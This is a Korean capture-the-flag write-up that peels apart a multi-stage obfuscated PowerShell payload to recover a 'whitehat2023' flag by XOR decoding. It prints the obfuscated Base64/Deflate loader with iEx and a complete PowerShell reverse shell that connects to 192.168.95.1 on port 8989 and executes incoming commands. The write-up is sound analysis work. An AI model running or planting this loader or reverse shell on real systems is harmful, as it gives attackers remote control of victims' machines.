iEx ( NEw-ObJeCt IO.CoMPrEsSION.DEFlaTEStREam([io.mEMOrYstReaM] [SyStEm.cOnveRT]::FRomBasE64stRING( '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' ) , [SYstEm.iO.CompResSIon.CoMPRESsionmodE]::deCompRess ) | ForEACh{NEw-ObJeCt iO.StReaMREADer($_ ,[sysTEm.tExT.eNcoDINg]::Ascii) } ).ReADtoEnD( )
다섯번째 스크립트
다섯 번째 스크립트에는 뭔가 굉장히 많은 양의 문자가 출력이 된다.
1
2
3
4
5
'
...
' | fOReAcH-objecT {$pWvKG=$_ -CSPLIt ' ' | fOReAcH-objecT{' ';$_ -CSPLIt ' '|fOReAcH-objecT{ $_.lEngTh - 1 }} ; . ( ([STrINg]''.lAStindeXOfaNY)[117,45,80]-JOIN'') (-JOin ([cHaR[]][inT[]]( -JOin($pWvKG[0..($pWvKG.lEngTh-1)] ) ).TRIMSTArt(' ' ).splIt(' ' )) )}
어떤 값이 출력되었는지 보기 위해 redirection을 통해 파일로 만들어 주었다.( > script5)
1
2
3
4
5
( NEw-ObJeCt IO.CoMPrEsSION.DEFlaTEStREam([io.mEMOrYstReaM] [SyStEm.cOnveRT]::FRomBasE64stRING( '7VlbaxtHGH2efzEPhpUgEjG0tBD6YEJp1ItdbEFbhAiJ66Quxg2p6Uvi/175sjvf5XyzM3vTSrED8ezsdznnfGdGdlJ47zZ/Nn+7u9X98v6renbVFnmr4h8enXwnquhGNM+V265KcZ5tsXehXN3qETtkwuBEIgR1xqUhKtc
...(생략)
c/niyOi2LqJ5vV5fUm6/zVm9PVer26vF5uvk38/f7kAe/q+Xz+uHzsOTucrv3UT+fL08UvZ8ujjzeT4o7xdP7vh6vF3cNmvXl/+z8=' ) , [SYstEm.iO.CompResSIon.CoMPRESsionmodE]::deCompRess ) | ForEACh{NEw-ObJeCt iO.StReaMREADer($_ ,[sysTEm.tExT.eNcoDINg]::Ascii) } ).ReADtoEnD( ) > script5
Hxd를 통해 보면 \t 과 space로 이루어진 것을 볼 수 있다.
출력된 스크립트를 그대로 실행시키려고 했지만, NULL값(\x00)과 이상한 값(\xff\xfe)이 섞여있고, 탭(\t)과 스페이스로 되어 있어서 가독성이 좋지 않아 해당 데이터를 살짝 가공해 주었다.
가공된 스크립트
1 2 3 4 5
'..-.-...--..-..-........--..-..-.--..........-..........--..-..-.......--..-.-......--..-..-..--..-..-.--....-...--..-..-......--..-.-.....--..-....--..-.--..-...-....--..-....--..-.--....-...--....-...--....-...--....-...--.........-.--..........-........--..-..-.....--..........-........--..-.-..........--....-...--..-....--..-.--....-...--....-...--....-...--....-...--.....-.--..-....--..-.--....-...--....-...--....-...--....-...--....-...--....-...--....-...--....-...--..........-..--.........-.- ...(중략) -.....--....-...--....-.....--.....-..........--......-........--......-.--.....-.......--.....-..........--......-.....--......-.......--.....-.......--......-........--......-....--.....-.......--.....-..........--....-.....--....-...--......-.......--......-........--......-.......--......-........--..-....--..-.' | fOReAcH-objecT {$pWvKG=$_ -CSPLIt '--' | fOReAcH-objecT{'-';$_ -CSPLIt '-'|fOReAcH-objecT{ $_.lEngTh - 1 }} ; . ( ([STrINg]''.lAStindeXOfaNY)[117,45,80]-JOIN'') (-JOin ([cHaR[]][inT[]]( -JOin($pWvKG[0..($pWvKG.lEngTh-1)] ) ).TRIMSTArt('-.' ).splIt('-' )) )}
위의 스크립트를 돌릴 때도 마찬가지로 IEX를 제외시켜주고 돌린다.
- IEX(
. ( ([STrINg]''.lAStindeXOfaNY)[117,45,80]-JOIN'')) 전까지 실행 IEX 이후에 있는
(-JOin ([cHaR[]][inT[]]( -JOin($pWvKG[0..($pWvKG.lEngTh-1)] ) ).TRIMSTArt('-.' ).splIt('-' )) )를 실행.1 2 3 4 5
'..-.-...--..-..-........--..-..-.--..........-..........--..-..-.......--..-.-......--..-..-..--..-..-.--....-...--..-..-......--..-.-.....--..-....--..-.--..-...-....--..-....--..-.--....-...--....-...--....-...--....-...--.........-.--..........-........--..-..-.....--..........-........--..-.-..........--....-...--..-....--..-.--....-...--....-...--....-...--....-...--.....-.--..-....--..-.--....-...--....-...--....-...--....-...--....-...--....-...--....-...--....-...--..........-..--.........-.- ...(중략) -.....--....-...--....-.....--.....-..........--......-........--......-.--.....-.......--.....-..........--......-.....--......-.......--.....-.......--......-........--......-....--.....-.......--.....-..........--....-.....--....-...--......-.......--......-........--......-.......--......-........--..-....--..-.' | fOReAcH-objecT {$pWvKG=$_ -CSPLIt '--' | fOReAcH-objecT{'-';$_ -CSPLIt '-'|fOReAcH-objecT{ $_.lEngTh - 1 }} ; (-JOin ([cHaR[]][inT[]]( -JOin($pWvKG[0..($pWvKG.lEngTh-1)] ) ).TRIMSTArt('-.' ).splIt('-' )) )}
마지막 스크립트
위의 스크립트를 실행시키면 아래와 같이 스크립트가 출력된다. 중간에 show flag 라 작성된 부분에 정수가 들어있는 튜플 자료형과 0x49와 xor하는 것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function sh
{
Param
(
[Parameter(mandatory=$true, Position=0)]
[string] $ip_addr,
[Parameter(mandatory=$true, Position=1)]
[int] $port
)
$socket = New-Object System.Net.Sockets.TcpClient($ip_addr, $port)
$stream = $socket.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$buffer = New-Object System.Byte[] 1024
$encoding = New-Object System.Text.ASCIIEncoding
$writer.AutoFlush = $true
while($true)
{
while($stream.DataAvailable)
{
$read = $stream.Read($buffer, 0, 1024)
$remote_command = ($encoding.GetString($buffer, 0, $read))
if ($remote_command)
{
try
{
if ($remote_command.startswith("show flag"))
{
$return = ( -joiN ( ( 62,33, 32,61 ,44,33,40 , 61,123 , 121 ,123 ,122, 50 , 120,44 , 123 , 40 , 125, 120, 40 ,40 ,127 , 44 ,47 ,43, 113 ,43, 125,122 ,47 , 121,120, 126, 121 ,47, 44,120 , 45 , 113,43 ,112 ,127 , 42, 121 ,113 , 52)| forEaCH {[ChaR]($_ -bXor'0x49' ) }))
}
else
{
$return = Invoke-Expression -Command $remote_command
}
}
catch [Exception]
{
Write-Output $_
$return = "Invalid Command"
}
}
foreach($item in $return)
{
$writer.WriteLine($item)
}
}
}
if($writer){$writer.Close()}
if($stream){$stream.Close()}
};sh "192.168.95.1" 8989
해당 부분을 python 코드로 재현해서 flag를 얻을 수 있다. (아니면 저 부분을 그대로 긁어서 powershell에서 실행시켜도 된다.)
1
2
3
4
5
6
7
data = ( 62,33, 32,61 ,44,33,40 , 61,123 , 121 ,123 ,122, 50 , 120,44 , 123 , 40 , 125, 120, 40 ,40 ,127 , 44 ,47 ,43, 113 ,43, 125,122 ,47 , 121,120, 126, 121 ,47, 44,120 , 45 , 113,43 ,112 ,127 , 42, 121 ,113 , 52)
flag = ''
for i in data:
flag += chr(i ^ 0x49)
print(flag)
- flag :
whitehat2023{1e2a41aa6efb8b43f0170fe1d8b96c08}



